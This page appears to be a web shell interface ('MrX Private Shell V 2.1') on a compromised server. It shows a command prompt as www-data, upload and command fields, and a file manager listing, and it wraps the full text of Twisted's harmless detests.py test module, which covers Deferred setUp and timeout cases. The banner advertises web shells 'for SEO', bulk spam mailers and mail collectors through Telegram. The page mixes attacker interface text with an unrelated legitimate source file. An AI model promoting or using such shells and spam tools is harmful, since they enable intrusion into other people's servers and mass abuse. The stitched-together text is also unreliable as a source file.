__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Tests for Deferred handling by L{twisted.trial.unittest.TestCase}.
"""
from __future__ import annotations

from twisted.internet import defer, reactor, threads
from twisted.python.failure import Failure
from twisted.python.util import runWithWarningsSuppressed
from twisted.trial import unittest
from twisted.trial.util import suppress as SUPPRESS


class DeferredSetUpOK(unittest.TestCase):
    def setUp(self):
        d = defer.succeed("value")
        d.addCallback(self._cb_setUpCalled)
        return d

    def _cb_setUpCalled(self, ignored):
        self._setUpCalled = True

    def test_ok(self):
        self.assertTrue(self._setUpCalled)


class DeferredSetUpFail(unittest.TestCase):
    testCalled = False

    def setUp(self):
        return defer.fail(unittest.FailTest("i fail"))

    def test_ok(self):
        DeferredSetUpFail.testCalled = True
        self.fail("I should not get called")


class DeferredSetUpCallbackFail(unittest.TestCase):
    testCalled = False

    def setUp(self):
        d = defer.succeed("value")
        d.addCallback(self._cb_setUpCalled)
        return d

    def _cb_setUpCalled(self, ignored):
        self.fail("deliberate failure")

    def test_ok(self):
        DeferredSetUpCallbackFail.testCalled = True


class DeferredSetUpError(unittest.TestCase):
    testCalled = False

    def setUp(self):
        return defer.fail(RuntimeError("deliberate error"))

    def test_ok(self):
        DeferredSetUpError.testCalled = True


class DeferredSetUpNeverFire(unittest.TestCase):
    testCalled = False

    def setUp(self):
        return defer.Deferred()

    def test_ok(self):
        DeferredSetUpNeverFire.testCalled = True


class DeferredSetUpSkip(unittest.TestCase):
    testCalled = False

    def setUp(self):
        d = defer.succeed("value")
        d.addCallback(self._cb1)
        return d

    def _cb1(self, ignored):
        raise unittest.SkipTest("skip me")

    def test_ok(self):
        DeferredSetUpSkip.testCalled = True


class DeferredTests(unittest.TestCase):
    touched = False

    def _cb_fail(self, reason):
        self.fail(reason)

    def _cb_error(self, reason):
        raise RuntimeError(reason)

    def _cb_skip(self, reason):
        raise unittest.SkipTest(reason)

    def _touchClass(self, ignored):
        self.__class__.touched = True

    def setUp(self):
        self.__class__.touched = False

    def test_pass(self):
        return defer.succeed("success")

    def test_passGenerated(self):
        self._touchClass(None)
        yield None

    test_passGenerated = runWithWarningsSuppressed(
        [
            SUPPRESS(
                message="twisted.internet.defer.deferredGenerator was " "deprecated"
            )
        ],
        defer.deferredGenerator,
        test_passGenerated,
    )

    @defer.inlineCallbacks
    def test_passInlineCallbacks(self):
        """
        Test case that is decorated with L{defer.inlineCallbacks}.
        """
        self._touchClass(None)
        yield None

    def test_fail(self):
        return defer.fail(self.failureException("I fail"))

    def test_failureInCallback(self):
        d = defer.succeed("fail")
        d.addCallback(self._cb_fail)
        return d

    def test_errorInCallback(self):
        d = defer.succeed("error")
        d.addCallback(self._cb_error)
        return d

    def test_skip(self):
        d = defer.succeed("skip")
        d.addCallback(self._cb_skip)
        d.addCallback(self._touchClass)
        return d

    def test_thread(self):
        return threads.deferToThread(lambda: None)

    def test_expectedFailure(self):
        d = defer.succeed("todo")
        d.addCallback(self._cb_error)
        return d

    test_expectedFailure.todo = "Expected failure"  # type: ignore[attr-defined]


class TimeoutTests(unittest.TestCase):
    timedOut: Failure | None = None

    def test_pass(self):
        d = defer.Deferred()
        reactor.callLater(0, d.callback, "hoorj!")
        return d

    test_pass.timeout = 2  # type: ignore[attr-defined]

    def test_passDefault(self):
        # test default timeout
        d = defer.Deferred()
        reactor.callLater(0, d.callback, "hoorj!")
        return d

    def test_timeout(self):
        return defer.Deferred()

    test_timeout.timeout = 0.1  # type: ignore[attr-defined]

    def test_timeoutZero(self):
        return defer.Deferred()

    test_timeoutZero.timeout = 0  # type: ignore[attr-defined]

    def test_expectedFailure(self):
        return defer.Deferred()

    test_expectedFailure.timeout = 0.1  # type: ignore[attr-defined]
    test_expectedFailure.todo = "i will get it right, eventually"  # type: ignore[attr-defined]

    def test_skip(self):
        return defer.Deferred()

    test_skip.timeout = 0.1  # type: ignore[attr-defined]
    test_skip.skip = "i will get it right, eventually"  # type: ignore[attr-defined]

    def test_errorPropagation(self):
        def timedOut(err):
            self.__class__.timedOut = err
            return err

        d = defer.Deferred()
        d.addErrback(timedOut)
        return d

    test_errorPropagation.timeout = 0.1  # type: ignore[attr-defined]

    def test_calledButNeverCallback(self):
        d = defer.Deferred()

        def neverFire(r):
            return defer.Deferred()

        d.addCallback(neverFire)
        d.callback(1)
        return d

    test_calledButNeverCallback.timeout = 0.1  # type: ignore[attr-defined]


class TestClassTimeoutAttribute(unittest.TestCase):
    timeout = 0.2

    def setUp(self):
        self.d = defer.Deferred()

    def testMethod(self):
        self.methodCalled = True
        return self.d

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 1.68 KB 0644
detests.py File 5.63 KB 0644
erroneous.py File 6.44 KB 0644
matchers.py File 2.88 KB 0644
mockcustomsuite.py File 544 B 0644
mockcustomsuite2.py File 541 B 0644
mockcustomsuite3.py File 684 B 0644
mockdoctest.py File 2.36 KB 0644
moduleself.py File 178 B 0644
moduletest.py File 302 B 0644
novars.py File 182 B 0644
ordertests.py File 912 B 0644
packages.py File 4.54 KB 0644
pyunitcases.py File 3.1 KB 0644
sample.py File 2.13 KB 0644
scripttest.py File 457 B 0755
skipping.py File 5.99 KB 0644
suppression.py File 2.44 KB 0644
test_assertions.py File 59.39 KB 0644
test_asyncassertions.py File 2.49 KB 0644
test_deferred.py File 9.63 KB 0644
test_doctest.py File 1.76 KB 0644
test_keyboard.py File 3.96 KB 0644
test_loader.py File 23.95 KB 0644
test_log.py File 7.85 KB 0644
test_matchers.py File 2.97 KB 0644
test_output.py File 5.26 KB 0644
test_plugins.py File 1.43 KB 0644
test_pyunitcompat.py File 7.88 KB 0644
test_reporter.py File 56.44 KB 0644
test_runner.py File 31.5 KB 0644
test_script.py File 32.41 KB 0644
test_skip.py File 2.69 KB 0644
test_suppression.py File 5.77 KB 0644
test_testcase.py File 1.94 KB 0644
test_tests.py File 48.83 KB 0644
test_util.py File 21.65 KB 0644
test_warning.py File 18.4 KB 0644
weird.py File 675 B 0644
Filemanager